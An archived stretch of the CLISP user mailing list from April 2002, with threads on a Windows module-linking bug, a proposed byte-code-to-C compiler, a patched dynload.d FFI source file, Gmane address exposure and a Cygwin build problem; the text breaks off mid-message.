usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16waRq-0003Nf-00 for ; Sat, 13 Apr 2002 20:13:02 -0700 Received: from [216.241.42.236] (helo=ieee.org) by mail2.hypermall.com with esmtp (Exim 3.16 #2) id 16waRo-0000y6-00 for clisp-list@lists.sourceforge.net; Sat, 13 Apr 2002 21:13:00 -0600 Message-ID: <3CB8F3DF.B48C98F0@ieee.org> From: Dan Stanger Reply-To: dan.stanger@ieee.org X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: multipart/mixed; boundary="------------10243549BAADB670A57F37A4" Subject: [clisp-list] Problem with module on w2k Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 13 20:14:03 2002 X-Original-Date: Sat, 13 Apr 2002 21:13:35 -0600 This is a multi-part message in MIME format. --------------10243549BAADB670A57F37A4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I have noticed a bug on m$ windows, when linking to modules containing functions with more than 6 arguments. I get the error message : Unknown signature of a SUBR It would have been helpful if the offending function could be printed out also. Attached is a tgz of files to reproduce the problem. --------------10243549BAADB670A57F37A4 Content-Type: application/x-gzip; name="gdibad.tar.gz" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="gdibad.tar.gz" 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 QoccU/2xHduxHdtTtj8A1u5gOQAoAAA= --------------10243549BAADB670A57F37A4-- From peter.wood@worldonline.dk Sun Apr 14 00:00:55 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16we0L-0005uH-00 for ; Sun, 14 Apr 2002 00:00:54 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 30CC4B562 for ; Sun, 14 Apr 2002 09:00:49 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3E6lXh00169 for clisp-list@lists.sourceforge.net; Sun, 14 Apr 2002 08:47:33 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A general query on the virtual machine Message-ID: <20020414084732.A140@localhost.localdomain> References: <30556.1018658156@www56.gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Sat, Apr 13, 2002 at 02:37:46PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 14 00:01:12 2002 X-Original-Date: Sun, 14 Apr 2002 08:47:32 +0200 Hi, On Sat, Apr 13, 2002 at 02:37:46PM -0400, Sam Steingold wrote: > > * In message <30556.1018658156@www56.gmx.net> > > * On the subject of "[clisp-list] A general query on the virtual machine" > > * Sent on Sat, 13 Apr 2002 02:35:56 +0200 (MEST) > > * Honorable Scott Williams writes: > > > > ...a byte-code to native linux assembler... > > look at interpret_bytecode_() in eval.d. > byte-code --> C compiler would be a great speed gain > (some estimate a factor of 3-4; it remains to be seen). > What is this speedup needed for? If you need something to be fast in Clisp, you could write it in C (.d), as a start. Have you considered the disadvantages: much more space needed; added complexity. Is the general consensus that fast, faster, fastest == good, better, best? If that is an unconditional judgement, then move to CMUCL. Regards, Peter From don-sourceforge@isis.cs3-inc.com Sun Apr 14 01:31:31 2002 Received: from isis.cs3-inc.com ([207.224.119.73]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wfQ2-0001ZD-00 for ; Sun, 14 Apr 2002 01:31:30 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id g3E8TNH12916; Sun, 14 Apr 2002 01:29:23 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15545.15843.83671.905446@isis.cs3-inc.com> To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A general query on the virtual machine In-Reply-To: <20020414084732.A140@localhost.localdomain> References: <30556.1018658156@www56.gmx.net> <20020414084732.A140@localhost.localdomain> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 14 01:32:03 2002 X-Original-Date: Sun, 14 Apr 2002 01:29:23 -0700 Peter Wood writes: > > > ...a byte-code to native linux assembler... > > > > look at interpret_bytecode_() in eval.d. > > byte-code --> C compiler would be a great speed gain > > (some estimate a factor of 3-4; it remains to be seen). As this line already suggests, not everyone believes that estimate. Most will readily agree that the factor depends a lot on what you are doing. My one data point is quite old now, but it was certainly evidence against such a factor. I had a large body of code that was originally written for symbolics and had more recently been running in lucid. My tests ran only slightly faster in ACL (which is compiled to machine code) than in clisp. > What is this speedup needed for? If you need something to be fast in > Clisp, you could write it in C (.d), as a start. > > Have you considered the disadvantages: much more space needed; added > complexity. > > Is the general consensus that fast, faster, fastest == good, better, > best? If that is an unconditional judgement, then move to CMUCL. Or assembly language, or special purpose hardware. The fact that someone uses lisp is already pretty good evidence that he recognizes value in other things besides speed. If you believe that clisp is slower than other lisps then it seems likely that clisp users are even more of that opinion than users of other lisps. On the other hand, most people will agree that faster is better if all other things can be made to stay the same. The added complexity above might impact the compiler writer but not the lisp programmer, in which case it's not a disadvantage for him. From peter.wood@worldonline.dk Sun Apr 14 02:50:18 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wgeG-0000RI-00 for ; Sun, 14 Apr 2002 02:50:16 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 669AFB4C6 for ; Sun, 14 Apr 2002 11:50:12 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3E9OV905597; Sun, 14 Apr 2002 11:24:31 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20020414112431.A248@localhost.localdomain> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="x+6KMIRAuhnl3hBn" Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.2.5i Subject: [clisp-list] dynload.d compilation problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 14 02:51:03 2002 X-Original-Date: Sun, 14 Apr 2002 11:24:31 +0200 --x+6KMIRAuhnl3hBn Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, Joerg has asked for feedback on his work on the new ffi, so I thought I'd make a patch which would enable anyone to build with dynload.d. However, there are problems with compilation which I have solved temporarily, and which should be cleared up now. I have these rules for dynload.d: dynload.d : ../src/dynload.d -$(LN_S) ../src/dynload.d dynload.d dynload.c : dynload.d comment5 ansidecl varbrace $(COMMENT5) dynload.d | $(ANSIDECL) | $(VARBRACE) > dynload.c dynload.i.c : dynload.c lispbibl.c sysdll.h $(CPP) $(CFLAGS) dynload.c > dynload.i.c dynload.o : dynload.i.c lispbibl.c sysdll.h $(CC) $(CFLAGS) -c dynload.i.c $(MV) dynload.i.o dynload.o There are no problems for sysdll.{o,c,h} I also have a rule for dynload.s, but that is only because the other .d files have such a rule, and it does not appear to be used!!??!! More cruft from the assembler hack days? The other files do not need the explicit preprocessing stage. There are rules for .i but a comment says that is only for debugging. So it should not be necessary for dynload either. When I compile the original dynload.d I get the following: test -d bindings || mkdir bindings ./comment5 dynload.d | ./ansidecl | ./varbrace > dynload.c gcc -E -g -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_READLINE dynload.c > dynload.i.c dynload.d:86: warning: preprocessing directive not recognized within macro arg dynload.d:86: warning: preprocessing directive not recognized within macro arg dynload.d:86: warning: preprocessing directive not recognized within macro arg dynload.d:86: warning: preprocessing directive not recognized within macro arg dynload.d:86: warning: preprocessing directive not recognized within macro arg dynload.d:123: warning: preprocessing directive not recognized within macro arg dynload.d:123: warning: preprocessing directive not recognized within macro arg dynload.d:123: warning: preprocessing directive not recognized within macro arg dynload.d:123: warning: preprocessing directive not recognized within macro arg gcc -g -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_READLINE -c dynload.i.c dynload.d:82: `#else' after `#else' (matches line 78) dynload.d:117: warning: `#ifdef' with no argument dynload.d:120: #error "what dlsym now?" make: *** [dynload.o] Error 1 Now I solved these problems by cruelly excising nearly all Joerg's #ifdefs and #errors, and the changed dynload.d builds and works without problems. This is obviously not portable, however. On the other hand, the original dynload.d is not portable anyway. It uses preprocessor directives inside macros, which is not part of the C standard: http://gcc.gnu.org/fom_serv/cache/29.html If anyone wants to try it with the my hacked version, its appended. Regards, Peter --x+6KMIRAuhnl3hBn Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: attachment; filename="dynload.fixed.d" Content-Transfer-Encoding: 8bit # preliminary FFI enabler hacks # For testing & reporting only # This file is to become part of CLISP # (c) Jörg Höhle, 2002 #include "lispbibl.c" #ifndef WANT_SYSDLL #define WANT_SYSDLL #endif #ifdef WANT_SYSDLL # sysdll.c needs -DHAVE_SHLIB or it will compile empty #include "sysdll.h" #endif /* Notes o SPVW.D:dynload_modules() uses dlopen(RTLD_NOW) while all other calls to dlopen() I've seen use RTLD_LAZY. Why? o dynaload.c on WIN32 uses LoadLibraryExA(DLOPEN_MODE) instead of LoadLibraryA. What's the advantage? ;;; Comments about XEmacs' sysdll.c: o dll_open doesn't pass through dl_open(flags), e.g. RTLD_LAZY That's what I planned the optional arguments to FOREIGN-LIBRARY for. o error status is abysmal: "Generic shared library error", while CLISP provides extensive support for reporting (OS_errno, OS_error) TODO? rewrite and provide good error reporting */ # Allocate a foreign address. # make_faddress2(base,destination) # > base: base address # > destination: absolute, not relative to base # < result: Lisp object local object make_faddress2 (object base, void* destination); local object make_faddress2(base,offset) var object base; var void* destination; { pushSTACK(base); var object result = allocate_faddress(); # TODO ensure un-/signed arithmetic works TheFaddress(result)->fa_offset = (sintP)((uintP)destination - (uintP)Fpointer_value(STACK_0)); # TODO require validating address or not?? TheFaddress(result)->fa_base = popSTACK(); # base return result; } # TODO?? rename to REALLY-OPEN-LIBRARY or manage externally visible list # *FOREIGN-LIBRARIES* of (name libptr . functions) # a) allows closing upon exit # b) allows graceful reopening when CLISP restarts # c) provides interface via ffi::update-foreign-address to correct # the addresses of all library functions in the new Lisp session. # However I don't like the automatic opening at module initialization # time that Bruno Haible added for AmigaOS (foreign.d:validate_fpointer) # since i) the environmen may not be ready yet (getenv PATH, EXT:CD) # and ii) some libraries have dynamic extent (e.g. bsdsocket.library) # and may not be ready for opening when CLISP starts up. # The programmer needs to control this. # (FFI::FOREIGN-LIBRARY name &optional flag) # returns a foreign library specifier. LISPFUN(foreign_library,1,1,norest,nokey,0,NIL) { var object name = STACK_1; if (!stringp(name)) # TODO? accept pathname fehler_string(name); # flag ignored for now # Pre-allocate room: pushSTACK(allocate_fpointer((void*)0)); var void* libaddr; with_string_0(name,O(pathname_encoding),libname, { begin_system_call(); libaddr = dll_open(libname); end_system_call(); }); if (libaddr == NULL) { pushSTACK(name); pushSTACK(TheSubr(subr_self)->name); fehler(error,GETTEXT("~: cannot open library ~")); } var object lib = popSTACK(); TheFpointer(lib)->fp_pointer = libaddr; value1 = lib; mv_count=1; skipSTACK(2); } # TODO? &optional required for AMIGAOS, i.e. varying signature # (FFI:RESOLVE-FOREIGN-NAME name lib &optional os-option) LISPFUN(resolve_foreign_name,2,1,norest,nokey,0,NIL) { var object name = STACK_2; if (!stringp(name)) fehler_string(name); STACK_2 = coerce_ss(STACK_2); if (!fpointerp(STACK_1)) { # TODO type error pushSTACK(STACK_1); pushSTACK(S(foreign_pointer)); pushSTACK(TheSubr(subr_self)->name); fehler(error,GETTEXT("~: argument is not a ~: ~")); } var void* libhandle = Fpointer_value(STACK_1); var void* addr; # TODO? use misc_encoding with_string_0(name,O(foreign_encoding),symname, { begin_system_call(); addr = dll_function(libhandle,symname); end_system_call(); }); if (addr == NULL) { pushSTACK(name); pushSTACK(TheSubr(subr_self)->name); fehler(error,GETTEXT("~: cannot locate ~ in foreign library")); } value1 = make_faddress2(STACK_1,addr); mv_count=1; skipSTACK(3); } # To become part of FOREIGN.D: # (FFI:FOREIGN-ADDRESS-FUNCTION name address ctype) LISPFUNN(foreign_address_function,3) { if (!stringp(STACK_2)) fehler_string(STACK_2); STACK_2 = coerce_ss(STACK_2); if (!faddressp(STACK_1)) { # TODO type error pushSTACK(STACK_1); pushSTACK(S(foreign_address)); pushSTACK(TheSubr(subr_self)->name); fehler(error,GETTEXT("~: argument is not a ~: ~")); } { var object fvd = STACK_0; if (!(simple_vector_p(fvd) && (Svector_length(fvd) == 4) && eq(TheSvector(fvd)->data[0],S(c_function)) && simple_vector_p(TheSvector(fvd)->data[2]) ) ) { dynamic_bind(S(print_circle),T); # *PRINT-CIRCLE* an T binden pushSTACK(fvd); pushSTACK(TheSubr(subr_self)->name); fehler(error,GETTEXT("~: illegal foreign function type ~")); } } var object ffun = allocate_ffunction(); var object fvd = STACK_0; TheFfunction(ffun)->ff_name = STACK_2; TheFfunction(ffun)->ff_address = STACK_1; TheFfunction(ffun)->ff_resulttype = TheSvector(fvd)->data[1]; TheFfunction(ffun)->ff_argtypes = TheSvector(fvd)->data[2]; TheFfunction(ffun)->ff_flags = TheSvector(fvd)->data[3]; value1 = ffun; mv_count=1; skipSTACK(3); } # Joerg Hoehle's FFI hacks void *clisp_ffi_indirector = NULL; unsigned long int C_self(unsigned long obj) { return obj; } # Module structure uintC module__dynload__object_tab_size = 0; object module__dynload__object_tab[1]; object_initdata module__dynload__object_tab_initdata[1]; #undef LISPFUN #define LISPFUN LISPFUN_F #undef LISPSYM #define LISPSYM(name,printname,package) { package, printname }, # TODO package "FFI" is locked in .mem, thus unusable # I consider it a bug that low-level module code is hindered by PACKAGE-LOCK #define ffi "USER" #define subr_anz 3 uintC module__dynload__subr_tab_size = subr_anz; subr_ module__dynload__subr_tab[subr_anz] = { # LISPFUNN(mark_foreign_invalid,1) LISPFUN(foreign_library,1,1,norest,nokey,0,NIL) LISPFUN(resolve_foreign_name,2,1,norest,nokey,0,NIL) LISPFUNN(foreign_address_function,3) }; subr_initdata module__dynload__subr_tab_initdata[subr_anz] = { # LISPSYM(mark_foreign,"SET-INVALID",ffi) LISPSYM(foreign_library,"FOREIGN-LIBRARY",ffi) LISPSYM(resolve_foreign_name,"RESOLVE-FOREIGN-NAME",ffi) LISPSYM(foreign_address_function,"FOREIGN-ADDRESS-FUNCTION",ffi) }; # called once when module is initialized, not called if found in .mem file void module__dynload__init_function_1(module) var module_* module; { # TODO? (pushnew :DYNAMIC-FFI *features*) } # called for every session void module__dynload__init_function_2(module) var module_* module; { #if defined(WANT_SYSDLL) # TODO dld needs char* executable_name -- local char* program_name in spvw.d dll_init(NULL); #endif register_foreign_variable(&clisp_ffi_indirector,"clisp_ffi_indirector",0,sizeof(clisp_ffi_indirector)); register_foreign_function(&C_self,"C_self",1024); } # If we had a module exit function, we could close all libraries --x+6KMIRAuhnl3hBn-- From pjb@arcangel.dircon.co.uk Sun Apr 14 11:25:10 2002 Received: from mta07-svc.ntlworld.com ([62.253.162.47]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wogU-00048T-00 for ; Sun, 14 Apr 2002 11:25:06 -0700 Received: from proxyplus.universe ([62.255.68.202]) by mta07-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020414182500.WDZU29981.mta07-svc.ntlworld.com@proxyplus.universe> for ; Sun, 14 Apr 2002 19:25:00 +0100 Received: from 127.0.0.1 by Proxy+; Sun, 14 Apr 2002 18:24:31 GMT To: clisp-list@lists.sourceforge.net From: Peter Burwood Mail-Copies-To: never Message-ID: Lines: 27 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Gmane access to Clisp lists. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 14 11:26:01 2002 X-Original-Date: 14 Apr 2002 19:24:31 +0100 Hi, I came across Gmane today which is GNU Mail to News and back again. This provides a news like interface to lots of mailing lists and includes the Clisp mailing lists. Fair enough so far. However, there is a webserver i/f to the mailing lists that is freely accessible and does not hide email addresses. So, I find that my email address is exposed quite widely. See Well, that's not so good. I get enough spam as it is and how long before the spammers harvest from Gmane? I suppose this email should be sent to them, but I presume someone asked for Gmane to mirror the Clisp lists. While Gmane exposes email addresses, I think Clisp lists should not appear via Gmane. Until I know the situation I shall not contact Gmane directly. Can that whoever ask for the lists to appear with email address removed, much like they do when accessed via sourceforge? Thanks, Peter From sigurd@12move.de Sun Apr 14 13:33:41 2002 Received: from mx1.12move.de ([62.26.124.141] helo=smtp.tiscali.de) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wqgv-0001xv-00 for ; Sun, 14 Apr 2002 13:33:41 -0700 Received: (qmail 17392 invoked from network); 14 Apr 2002 20:33:36 -0000 Received: from unknown (HELO wintendo.pflaesterer.de) (62.144.253.113) by smtp1.tiscali.de with SMTP; 14 Apr 2002 20:33:36 -0000 Received: from localhost (HELO windoof) [127.0.0.1] by wintendo.pflaesterer.de (127.0.0.1) with ESMTP (Classic Hamster Version 1.3 Build 1.3.23.141) ; Sun, 14 Apr 2002 22:30:10 +0200 To: clisp-list@lists.sourceforge.net From: sigurd@12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=) Message-ID: X-Face: #iIcL\6>Qj/G*F@AL9T*v/R$j@7Q`6#FU&Flg6u6aVsLdWf(H$U5>:;&*>oy>jOIWgA%8w* A!V7X`\fEGoQ[@D'@i^*p3FCC6&Rg~JT/H_*MOX;"o~flADb8^ Organization: Lemis World Mail-Followup-To: clisp-list@lists.sourceforge.net Lines: 14 User-Agent: Oort Gnus v0.06 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Clisp with Cywin and WinMe? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 14 13:34:02 2002 X-Original-Date: Sun, 14 Apr 2002 22:30:10 +0200 Hello, I tried to build clisp2.28 with a recent cygwin (OS is WinMe) from source. Well I failed. Should I try a older version of clisp or is it impossible? I followed the instructions in the unix-directory as mentioned in the cygwin-directory. Before I post a lot of compiler output to this list I think it is better to ask if someone succeded in building clisp in such an environment. bye KP --=20 M=E4nner der Wissenschaft! Man sagt ihr viele nach,=20 aber die meisten mit Unrecht.=20=20 Karl Kraus 'Aphorismen' From smk@users.sourceforge.net Sun Apr 14 17:07:52 2002 Received: from mout0.freenet.de ([194.97.50.131]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16wu2B-00052x-00; Sun, 14 Apr 2002 17:07:51 -0700 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout0.freenet.de with esmtp (Exim 3.33 #4) id 16wu1z-0003Jg-00; Mon, 15 Apr 2002 02:07:39 +0200 Received: from a3a81.pppool.de ([213.6.58.129] helo=users.sourceforge.net) by mx3.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #4) id 16wu1z-0004mO-00; Mon, 15 Apr 2002 02:07:39 +0200 Message-ID: <3CBA1A29.3D0B1035@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: Sam Steingold CC: clisp-list , clisp-devel@users.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] b->C... ->o Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Apr 14 17:09:11 2002 X-Original-Date: Mon, 15 Apr 2002 02:09:13 +0200 Hello fellows, I have talked a couple of times with Bruno about this issue. (We started reasoning about this a couple of years ago already) Here is my plan. 1. In the future I would like to concentrate a little less on comment translations. (Not such a big sparetime pleasure as it may seem at the first glance... :-) 2. I will add a function in compiler.lisp that emits C-code instead of byte-code vectors. The clou is to have interprete_bytecode_ (a C function) in mind, interprete the bytecode abstractly (abstract interpretation) and instead of in-place-executing the C-code of each case-statement, adding it to a C-code-vector. In a second pass the C-code table will be instrumented with the jump-labels. Then, the code is serialized to a file. (I know three passes... how unelaborate... but this is my first guess. I first want to see reasonable C-output. Only then we can talk about efficient code-generation...) I am serious about this. Please do not get me into an efficiency discussion... (Will the C code be more efficient than byteode...) I think, the speed gain will be comparatively low. Due to instruction-cache limitations, we might even become slower... (the resulting object-code from b->C->o - compilation will be significantly larger) The compilation process will also be much longer. So I definitely do not expect any miracles to happen. I just want to have fun solving (trying to solve) this interesting problem. Good night! :-) Bye, Stefan K. From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 15 00:18:19 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16x0kk-0000nh-00 for ; Mon, 15 Apr 2002 00:18:18 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 15 Apr 2002 09:16:35 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2W57BW7A>; Mon, 15 Apr 2002 09:17:50 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] critique of default-foreign-language (was: tiny suggestion about foreign1.lisp (FFI)) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 15 00:19:15 2002 X-Original-Date: Mon, 15 Apr 2002 09:17:40 +0200 Hi, Sam wrote on the 11th of March: > done. DEF-C-CALL-* are now deprecated and the default should be set > using DEFAULT-FOREIGN-LANGUAGE (just like IN-PACKAGE). For weeks now I've been thinking about how to express my dislikes and what the core of the problem is. Here's an attempt at it: I oppose the implementation of this patch. While I like the idea of file-wide (or compilation unit wide) defaults, the implemented solution fails to consider run-time behaviour. o it only works in environments where a global default-foreign-language makes sense. However, in such an environment, the proposed solution is overkill. o it doesn't handle dynamic function creation (at run-time) well. o it may lead to the "it works for me [the programmer]!" disease. Consider the following scenario: Enters the programmer. [The programmer is on UNIX. After some learnign by doing, s/he has DEFAULT-FOREIGN-LANGUAGE globally set to :stdC (ANSI-C) because that's the only sensible choice (C++ names not yet supported by CLISP, doesn't know what K&R is).] (defun 